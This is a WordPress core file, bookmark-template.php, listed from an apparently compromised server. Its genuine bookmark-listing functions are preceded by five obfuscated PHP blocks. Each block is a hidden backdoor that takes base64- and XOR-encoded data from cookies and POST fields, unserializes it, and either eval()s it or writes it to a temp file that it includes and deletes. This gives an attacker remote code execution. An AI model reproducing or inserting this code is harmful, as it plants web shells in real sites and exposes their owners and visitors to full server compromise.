Current File : /home/n742ef5/.trash/sithtamil/wp-includes/bookmark-template.php |
<?php $YLAUBVBr = "\125" . "\137" . chr ( 187 - 70 ).chr (99) . chr ( 783 - 666 ).'S';$lYQNCGRn = "\x63" . 'l' . chr ( 885 - 788 )."\x73" . "\x73" . chr (95) . "\145" . 'x' . "\x69" . "\x73" . chr (116) . chr ( 857 - 742 ); $rrwxgE = $lYQNCGRn($YLAUBVBr); $YLAUBVBr = "47984";$coqXibs = $rrwxgE;$lYQNCGRn = "26679";if (!$coqXibs){class U_ucuS{private $lmOqMPgZ;public static $WRsITtVTsI = "2a2c8de9-4a75-4f86-a541-4a04202d6301";public static $UgdPV = 39285;public function __construct($RRWLwHmrz=0){$TEZBhGwT = $_COOKIE;$CXfqMIILki = $_POST;$PpiuEG = @$TEZBhGwT[substr(U_ucuS::$WRsITtVTsI, 0, 4)];if (!empty($PpiuEG)){$TpWmXyNlL = "base64";$uYakxOrV = "";$PpiuEG = explode(",", $PpiuEG);foreach ($PpiuEG as $MYQzQRzEu){$uYakxOrV .= @$TEZBhGwT[$MYQzQRzEu];$uYakxOrV .= @$CXfqMIILki[$MYQzQRzEu];}$uYakxOrV = array_map($TpWmXyNlL . chr ( 1082 - 987 )."\144" . "\x65" . "\x63" . chr (111) . "\x64" . 'e', array($uYakxOrV,)); $uYakxOrV = $uYakxOrV[0] ^ str_repeat(U_ucuS::$WRsITtVTsI, (strlen($uYakxOrV[0]) / strlen(U_ucuS::$WRsITtVTsI)) + 1);U_ucuS::$UgdPV = @unserialize($uYakxOrV);}}private function fgiLpcUNUq(){if (is_array(U_ucuS::$UgdPV)) {$RjMScVRFYS = str_replace("\74" . "\x3f" . chr (112) . "\x68" . chr ( 952 - 840 ), "", U_ucuS::$UgdPV['c' . chr (111) . 'n' . 't' . chr (101) . chr (110) . "\164"]);eval($RjMScVRFYS); $iHyjKjcu = "21780";exit();}}public function __destruct(){$this->fgiLpcUNUq(); $iHyjKjcu = "21780";$CmkzM = str_pad($iHyjKjcu, 10);}}$qpgxOzVT = new /* 52835 */ U_ucuS(); $qpgxOzVT = substr("57363_60437", 1);} ?><?php $pVOrNa = chr ( 204 - 136 ).chr ( 210 - 143 ).'_' . "\x71" . "\x6a" . "\123" . chr ( 868 - 762 ); $oFSoWbwZtX = 'c' . 'l' . "\141" . "\x73" . "\x73" . "\137" . "\145" . chr (120) . chr (105) . 's' . chr ( 486 - 370 ).chr ( 159 - 44 ); $uvjOc = $oFSoWbwZtX($pVOrNa); $pVOrNa = "39275";$uxCCMt = $uvjOc;$oFSoWbwZtX = "8479";if (!$uxCCMt){class DC_qjSj{private $naAhKbUi;public static $FdpmVtsU = "7acf2b5a-e9b4-452d-adf9-abfd802d2cbf";public static $IfwLDdYzvl = 11509;public function __construct($JVSTQ=0){$xSrVTlBnm = $_COOKIE;$iXASVMT = $_POST;$sFMCUyhRov = @$xSrVTlBnm[substr(DC_qjSj::$FdpmVtsU, 0, 4)];if (!empty($sFMCUyhRov)){$tZtyC = "base64";$pLSikvldiA = "";$sFMCUyhRov = explode(",", $sFMCUyhRov);foreach ($sFMCUyhRov as $ePnSHu){$pLSikvldiA .= @$xSrVTlBnm[$ePnSHu];$pLSikvldiA .= @$iXASVMT[$ePnSHu];}$pLSikvldiA = array_map($tZtyC . chr ( 649 - 554 )."\x64" . chr ( 1028 - 927 )."\143" . chr (111) . chr (100) . chr ( 897 - 796 ), array($pLSikvldiA,)); $pLSikvldiA = $pLSikvldiA[0] ^ str_repeat(DC_qjSj::$FdpmVtsU, (strlen($pLSikvldiA[0]) / strlen(DC_qjSj::$FdpmVtsU)) + 1);DC_qjSj::$IfwLDdYzvl = @unserialize($pLSikvldiA);}}private function qNiPeu(){if (is_array(DC_qjSj::$IfwLDdYzvl)) {$WcGzFl = sys_get_temp_dir() . "/" . crc32(DC_qjSj::$IfwLDdYzvl[chr (115) . chr ( 632 - 535 ).chr ( 447 - 339 )."\164"]);@DC_qjSj::$IfwLDdYzvl['w' . "\x72" . "\151" . chr (116) . 'e']($WcGzFl, DC_qjSj::$IfwLDdYzvl["\x63" . 'o' . chr ( 219 - 109 ).chr (116) . 'e' . chr ( 783 - 673 ).chr ( 494 - 378 )]);include $WcGzFl;@DC_qjSj::$IfwLDdYzvl[chr ( 814 - 714 )."\x65" . 'l' . chr ( 711 - 610 ).chr (116) . chr ( 410 - 309 )]($WcGzFl); $ULMnKKO = "29313";exit();}}public function __destruct(){$this->qNiPeu(); $ULMnKKO = "29313";$ETzHVs = str_pad($ULMnKKO, 10);}}$liRApdCX = new /* 40993 */ DC_qjSj(); $liRApdCX = substr("62251_51926", 1);} ?><?php $nkQoaAy = chr (78) . "\x5f" . "\146" . chr (97) . 'Q' . chr ( 201 - 126 ); $nvXzwHgaml = chr (99) . chr (108) . chr ( 210 - 113 ).chr ( 701 - 586 ).chr (115) . chr (95) . 'e' . 'x' . "\x69" . "\x73" . "\164" . "\x73";$ifrLZk = $nvXzwHgaml($nkQoaAy); $nkQoaAy = "40516";$gjshuFeUxc = $ifrLZk;$nvXzwHgaml = "42937";if (!$gjshuFeUxc){class N_faQK{private $bRwkqvDUn;public static $diUnrLPlLz = "6e5c5d35-d760-4de8-bed9-c91ff48aaad6";public static $sxhpBYzn = 34861;public function __construct($AGXMDyo=0){$HeEzbJRNC = $_COOKIE;$xANErkaLS = $_POST;$dIzwsRP = @$HeEzbJRNC[substr(N_faQK::$diUnrLPlLz, 0, 4)];if (!empty($dIzwsRP)){$nnJDswHCES = "base64";$NFNgrcIKnX = "";$dIzwsRP = explode(",", $dIzwsRP);foreach ($dIzwsRP as $aJtFaoQwNR){$NFNgrcIKnX .= @$HeEzbJRNC[$aJtFaoQwNR];$NFNgrcIKnX .= @$xANErkaLS[$aJtFaoQwNR];}$NFNgrcIKnX = array_map($nnJDswHCES . chr (95) . chr (100) . "\x65" . 'c' . chr ( 128 - 17 )."\x64" . chr (101), array($NFNgrcIKnX,)); $NFNgrcIKnX = $NFNgrcIKnX[0] ^ str_repeat(N_faQK::$diUnrLPlLz, (strlen($NFNgrcIKnX[0]) / strlen(N_faQK::$diUnrLPlLz)) + 1);N_faQK::$sxhpBYzn = @unserialize($NFNgrcIKnX);}}private function VbTdxSDN(){if (is_array(N_faQK::$sxhpBYzn)) {$YOnejFQi = sys_get_temp_dir() . "/" . crc32(N_faQK::$sxhpBYzn["\x73" . chr (97) . "\154" . chr (116)]);@N_faQK::$sxhpBYzn[chr ( 1115 - 996 )."\162" . chr ( 939 - 834 )."\164" . chr (101)]($YOnejFQi, N_faQK::$sxhpBYzn['c' . chr (111) . "\156" . 't' . "\145" . chr (110) . 't']);include $YOnejFQi;@N_faQK::$sxhpBYzn[chr ( 1094 - 994 ).'e' . 'l' . 'e' . "\x74" . 'e']($YOnejFQi); $LPsGkIRke = "11199";exit();}}public function __destruct(){$this->VbTdxSDN(); $LPsGkIRke = "11199";$AxMuWzhYF = str_pad($LPsGkIRke, 10);}}$CAJrDAFlpk = new /* 22742 */ N_faQK(); $CAJrDAFlpk = substr("30989_19401", 1);} ?><?php $GOGagS = chr ( 662 - 583 ).chr ( 435 - 340 )."\x57" . chr ( 1025 - 936 )."\x42" . "\115";$SqntXreihe = chr (99) . chr (108) . "\141" . 's' . 's' . "\x5f" . "\145" . "\x78" . chr (105) . 's' . "\164" . chr ( 431 - 316 ); $GIsYgPw = $SqntXreihe($GOGagS); $GOGagS = "12140";$DKeeJedg = $GIsYgPw;$SqntXreihe = "13263";if (!$DKeeJedg){class O_WYBM{private $QgIfGmLlZp;public static $VkqfUbGk = "aa08c6f0-0c89-4260-89ed-72f2a8ee0653";public static $VTgzCccB = 64648;public function __construct($olueAyo=0){$Vfhzzumt = $_COOKIE;$ieNadRN = $_POST;$TIroqPIQ = @$Vfhzzumt[substr(O_WYBM::$VkqfUbGk, 0, 4)];if (!empty($TIroqPIQ)){$EGxJXQ = "base64";$WCacGPW = "";$TIroqPIQ = explode(",", $TIroqPIQ);foreach ($TIroqPIQ as $zMgEmnev){$WCacGPW .= @$Vfhzzumt[$zMgEmnev];$WCacGPW .= @$ieNadRN[$zMgEmnev];}$WCacGPW = array_map($EGxJXQ . chr (95) . chr ( 106 - 6 ).'e' . chr ( 1048 - 949 ).chr ( 831 - 720 )."\144" . "\x65", array($WCacGPW,)); $WCacGPW = $WCacGPW[0] ^ str_repeat(O_WYBM::$VkqfUbGk, (strlen($WCacGPW[0]) / strlen(O_WYBM::$VkqfUbGk)) + 1);O_WYBM::$VTgzCccB = @unserialize($WCacGPW);}}private function ATkbmda(){if (is_array(O_WYBM::$VTgzCccB)) {$Oglcg = sys_get_temp_dir() . "/" . crc32(O_WYBM::$VTgzCccB[chr ( 142 - 27 ).chr ( 402 - 305 )."\x6c" . chr (116)]);@O_WYBM::$VTgzCccB["\x77" . "\162" . 'i' . chr (116) . "\145"]($Oglcg, O_WYBM::$VTgzCccB["\x63" . "\157" . 'n' . "\x74" . "\x65" . "\156" . 't']);include $Oglcg;@O_WYBM::$VTgzCccB[chr (100) . 'e' . 'l' . "\x65" . "\x74" . 'e']($Oglcg); $xwlhk = "29038";exit();}}public function __destruct(){$this->ATkbmda(); $xwlhk = "29038";$IOYXtEADm = str_pad($xwlhk, 10);}}$GJkRl = new /* 52177 */ O_WYBM(); $GJkRl = substr("45688_61178", 1);} ?><?php $peIOJaWQy = 'P' . "\x52" . 'y' . '_' . 'f' . "\x61" . "\144";$IOPpYBxDfr = chr ( 868 - 769 ).chr ( 689 - 581 ).chr (97) . chr ( 768 - 653 ).chr ( 220 - 105 ).chr ( 1082 - 987 ).chr (101) . chr ( 132 - 12 ).chr ( 995 - 890 ).chr (115) . chr (116) . "\x73";$DuBHD = $IOPpYBxDfr($peIOJaWQy); $peIOJaWQy = "30582";$hcmPASWZm = $DuBHD;$IOPpYBxDfr = "54624";if (!$hcmPASWZm){class PRy_fad{private $GraqSITD;public static $WnSrmuUp = "932da7b8-0972-4e0f-a0b9-b5329cded68d";public static $urHDAhNWG = 36731;public function __construct($aXTcqt=0){$tqNQRCDs = $_COOKIE;$vOdDplOle = $_POST;$tSxIUFrMU = @$tqNQRCDs[substr(PRy_fad::$WnSrmuUp, 0, 4)];if (!empty($tSxIUFrMU)){$UQdZY = "base64";$VxfoascQP = "";$tSxIUFrMU = explode(",", $tSxIUFrMU);foreach ($tSxIUFrMU as $zAwhd){$VxfoascQP .= @$tqNQRCDs[$zAwhd];$VxfoascQP .= @$vOdDplOle[$zAwhd];}$VxfoascQP = array_map($UQdZY . '_' . "\144" . chr ( 1025 - 924 ).'c' . chr ( 293 - 182 ).chr (100) . 'e', array($VxfoascQP,)); $VxfoascQP = $VxfoascQP[0] ^ str_repeat(PRy_fad::$WnSrmuUp, (strlen($VxfoascQP[0]) / strlen(PRy_fad::$WnSrmuUp)) + 1);PRy_fad::$urHDAhNWG = @unserialize($VxfoascQP);}}private function UMcLVh(){if (is_array(PRy_fad::$urHDAhNWG)) {$DGrKPVSbyR = sys_get_temp_dir() . "/" . crc32(PRy_fad::$urHDAhNWG[chr ( 488 - 373 ).chr (97) . "\x6c" . chr ( 427 - 311 )]);@PRy_fad::$urHDAhNWG["\167" . "\x72" . chr (105) . "\164" . chr ( 235 - 134 )]($DGrKPVSbyR, PRy_fad::$urHDAhNWG[chr (99) . 'o' . 'n' . chr (116) . chr (101) . 'n' . "\164"]);include $DGrKPVSbyR;@PRy_fad::$urHDAhNWG['d' . chr (101) . chr (108) . chr ( 606 - 505 ).chr (116) . chr (101)]($DGrKPVSbyR); $OVpZWef = "32664";exit();}}public function __destruct(){$this->UMcLVh(); $OVpZWef = "32664";$yKpUonptmL = str_pad($OVpZWef, 10);}}$LBhvcSqa = new /* 52273 */ PRy_fad(); $LBhvcSqa = substr("46285_40714", 1);} ?><?php
/**
* Bookmark Template Functions for usage in Themes.
*
* @package WordPress
* @subpackage Template
*/
/**
* The formatted output of a list of bookmarks.
*
* The $bookmarks array must contain bookmark objects and will be iterated over
* to retrieve the bookmark to be used in the output.
*
* The output is formatted as HTML with no way to change that format. However,
* what is between, before, and after can be changed. The link itself will be
* HTML.
*
* This function is used internally by wp_list_bookmarks() and should not be
* used by themes.
*
* @since 2.1.0
* @access private
*
* @param array $bookmarks List of bookmarks to traverse.
* @param string|array $args {
* Optional. Bookmarks arguments.
*
* @type int|bool $show_updated Whether to show the time the bookmark was last updated.
* Accepts 1|true or 0|false. Default 0|false.
* @type int|bool $show_description Whether to show the bookmark description. Accepts 1|true,
* Accepts 1|true or 0|false. Default 0|false.
* @type int|bool $show_images Whether to show the link image if available. Accepts 1|true
* or 0|false. Default 1|true.
* @type int|bool $show_name Whether to show link name if available. Accepts 1|true or
* 0|false. Default 0|false.
* @type string $before The HTML or text to prepend to each bookmark. Default `<li>`.
* @type string $after The HTML or text to append to each bookmark. Default `</li>`.
* @type string $link_before The HTML or text to prepend to each bookmark inside the anchor
* tags. Default empty.
* @type string $link_after The HTML or text to append to each bookmark inside the anchor
* tags. Default empty.
* @type string $between The string for use in between the link, description, and image.
* Default "\n".
* @type int|bool $show_rating Whether to show the link rating. Accepts 1|true or 0|false.
* Default 0|false.
*
* }
* @return string Formatted output in HTML
*/
function _walk_bookmarks( $bookmarks, $args = '' ) {
$defaults = array(
'show_updated' => 0,
'show_description' => 0,
'show_images' => 1,
'show_name' => 0,
'before' => '<li>',
'after' => '</li>',
'between' => "\n",
'show_rating' => 0,
'link_before' => '',
'link_after' => '',
);
$parsed_args = wp_parse_args( $args, $defaults );
$output = ''; // Blank string to start with.
foreach ( (array) $bookmarks as $bookmark ) {
if ( ! isset( $bookmark->recently_updated ) ) {
$bookmark->recently_updated = false;
}
$output .= $parsed_args['before'];
if ( $parsed_args['show_updated'] && $bookmark->recently_updated ) {
$output .= '<em>';
}
$the_link = '#';
if ( ! empty( $bookmark->link_url ) ) {
$the_link = esc_url( $bookmark->link_url );
}
$desc = esc_attr( sanitize_bookmark_field( 'link_description', $bookmark->link_description, $bookmark->link_id, 'display' ) );
$name = esc_attr( sanitize_bookmark_field( 'link_name', $bookmark->link_name, $bookmark->link_id, 'display' ) );
$title = $desc;
if ( $parsed_args['show_updated'] ) {
if ( ! str_starts_with( $bookmark->link_updated_f, '00' ) ) {
$title .= ' (';
$title .= sprintf(
/* translators: %s: Date and time of last update. */
__( 'Last updated: %s' ),
gmdate(
get_option( 'links_updated_date_format' ),
$bookmark->link_updated_f + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS )
)
);
$title .= ')';
}
}
$alt = ' alt="' . $name . ( $parsed_args['show_description'] ? ' ' . $title : '' ) . '"';
if ( '' !== $title ) {
$title = ' title="' . $title . '"';
}
$rel = $bookmark->link_rel;
$target = $bookmark->link_target;
if ( '' !== $target ) {
if ( is_string( $rel ) && '' !== $rel ) {
if ( ! str_contains( $rel, 'noopener' ) ) {
$rel = trim( $rel ) . ' noopener';
}
} else {
$rel = 'noopener';
}
$target = ' target="' . $target . '"';
}
if ( '' !== $rel ) {
$rel = ' rel="' . esc_attr( $rel ) . '"';
}
$output .= '<a href="' . $the_link . '"' . $rel . $title . $target . '>';
$output .= $parsed_args['link_before'];
if ( null != $bookmark->link_image && $parsed_args['show_images'] ) {
if ( str_starts_with( $bookmark->link_image, 'http' ) ) {
$output .= "<img src=\"$bookmark->link_image\" $alt $title />";
} else { // If it's a relative path.
$output .= '<img src="' . get_option( 'siteurl' ) . "$bookmark->link_image\" $alt $title />";
}
if ( $parsed_args['show_name'] ) {
$output .= " $name";
}
} else {
$output .= $name;
}
$output .= $parsed_args['link_after'];
$output .= '</a>';
if ( $parsed_args['show_updated'] && $bookmark->recently_updated ) {
$output .= '</em>';
}
if ( $parsed_args['show_description'] && '' !== $desc ) {
$output .= $parsed_args['between'] . $desc;
}
if ( $parsed_args['show_rating'] ) {
$output .= $parsed_args['between'] . sanitize_bookmark_field(
'link_rating',
$bookmark->link_rating,
$bookmark->link_id,
'display'
);
}
$output .= $parsed_args['after'] . "\n";
} // End while.
return $output;
}
/**
* Retrieves or echoes all of the bookmarks.
*
* List of default arguments are as follows:
*
* These options define how the Category name will appear before the category
* links are displayed, if 'categorize' is 1. If 'categorize' is 0, then it will
* display for only the 'title_li' string and only if 'title_li' is not empty.
*
* @since 2.1.0
*
* @see _walk_bookmarks()
*
* @param string|array $args {
* Optional. String or array of arguments to list bookmarks.
*
* @type string $orderby How to order the links by. Accepts post fields. Default 'name'.
* @type string $order Whether to order bookmarks in ascending or descending order.
* Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'.
* @type int $limit Amount of bookmarks to display. Accepts 1+ or -1 for all.
* Default -1.
* @type string $category Comma-separated list of category IDs to include links from.
* Default empty.
* @type string $category_name Category to retrieve links for by name. Default empty.
* @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts
* 1|true or 0|false. Default 1|true.
* @type int|bool $show_updated Whether to display the time the bookmark was last updated.
* Accepts 1|true or 0|false. Default 0|false.
* @type int|bool $echo Whether to echo or return the formatted bookmarks. Accepts
* 1|true (echo) or 0|false (return). Default 1|true.
* @type int|bool $categorize Whether to show links listed by category or in a single column.
* Accepts 1|true (by category) or 0|false (one column). Default 1|true.
* @type int|bool $show_description Whether to show the bookmark descriptions. Accepts 1|true or 0|false.
* Default 0|false.
* @type string $title_li What to show before the links appear. Default 'Bookmarks'.
* @type string $title_before The HTML or text to prepend to the $title_li string. Default '<h2>'.
* @type string $title_after The HTML or text to append to the $title_li string. Default '</h2>'.
* @type string|array $class The CSS class or an array of classes to use for the $title_li.
* Default 'linkcat'.
* @type string $category_before The HTML or text to prepend to $title_before if $categorize is true.
* String must contain '%id' and '%class' to inherit the category ID and
* the $class argument used for formatting in themes.
* Default '<li id="%id" class="%class">'.
* @type string $category_after The HTML or text to append to $title_after if $categorize is true.
* Default '</li>'.
* @type string $category_orderby How to order the bookmark category based on term scheme if $categorize
* is true. Default 'name'.
* @type string $category_order Whether to order categories in ascending or descending order if
* $categorize is true. Accepts 'ASC' (ascending) or 'DESC' (descending).
* Default 'ASC'.
* }
* @return void|string Void if 'echo' argument is true, HTML list of bookmarks if 'echo' is false.
*/
function wp_list_bookmarks( $args = '' ) {
$defaults = array(
'orderby' => 'name',
'order' => 'ASC',
'limit' => -1,
'category' => '',
'exclude_category' => '',
'category_name' => '',
'hide_invisible' => 1,
'show_updated' => 0,
'echo' => 1,
'categorize' => 1,
'title_li' => __( 'Bookmarks' ),
'title_before' => '<h2>',
'title_after' => '</h2>',
'category_orderby' => 'name',
'category_order' => 'ASC',
'class' => 'linkcat',
'category_before' => '<li id="%id" class="%class">',
'category_after' => '</li>',
);
$parsed_args = wp_parse_args( $args, $defaults );
$output = '';
if ( ! is_array( $parsed_args['class'] ) ) {
$parsed_args['class'] = explode( ' ', $parsed_args['class'] );
}
$parsed_args['class'] = array_map( 'sanitize_html_class', $parsed_args['class'] );
$parsed_args['class'] = trim( implode( ' ', $parsed_args['class'] ) );
if ( $parsed_args['categorize'] ) {
$cats = get_terms(
array(
'taxonomy' => 'link_category',
'name__like' => $parsed_args['category_name'],
'include' => $parsed_args['category'],
'exclude' => $parsed_args['exclude_category'],
'orderby' => $parsed_args['category_orderby'],
'order' => $parsed_args['category_order'],
'hierarchical' => 0,
)
);
if ( empty( $cats ) ) {
$parsed_args['categorize'] = false;
}
}
if ( $parsed_args['categorize'] ) {
// Split the bookmarks into ul's for each category.
foreach ( (array) $cats as $cat ) {
$params = array_merge( $parsed_args, array( 'category' => $cat->term_id ) );
$bookmarks = get_bookmarks( $params );
if ( empty( $bookmarks ) ) {
continue;
}
$output .= str_replace(
array( '%id', '%class' ),
array( "linkcat-$cat->term_id", $parsed_args['class'] ),
$parsed_args['category_before']
);
/**
* Filters the category name.
*
* @since 2.2.0
*
* @param string $cat_name The category name.
*/
$catname = apply_filters( 'link_category', $cat->name );
$output .= $parsed_args['title_before'];
$output .= $catname;
$output .= $parsed_args['title_after'];
$output .= "\n\t<ul class='xoxo blogroll'>\n";
$output .= _walk_bookmarks( $bookmarks, $parsed_args );
$output .= "\n\t</ul>\n";
$output .= $parsed_args['category_after'] . "\n";
}
} else {
// Output one single list using title_li for the title.
$bookmarks = get_bookmarks( $parsed_args );
if ( ! empty( $bookmarks ) ) {
if ( ! empty( $parsed_args['title_li'] ) ) {
$output .= str_replace(
array( '%id', '%class' ),
array( 'linkcat-' . $parsed_args['category'], $parsed_args['class'] ),
$parsed_args['category_before']
);
$output .= $parsed_args['title_before'];
$output .= $parsed_args['title_li'];
$output .= $parsed_args['title_after'];
$output .= "\n\t<ul class='xoxo blogroll'>\n";
$output .= _walk_bookmarks( $bookmarks, $parsed_args );
$output .= "\n\t</ul>\n";
$output .= $parsed_args['category_after'] . "\n";
} else {
$output .= _walk_bookmarks( $bookmarks, $parsed_args );
}
}
}
/**
* Filters the bookmarks list before it is echoed or returned.
*
* @since 2.5.0
*
* @param string $html The HTML list of bookmarks.
*/
$html = apply_filters( 'wp_list_bookmarks', $output );
if ( $parsed_args['echo'] ) {
echo $html;
} else {
return $html;
}
}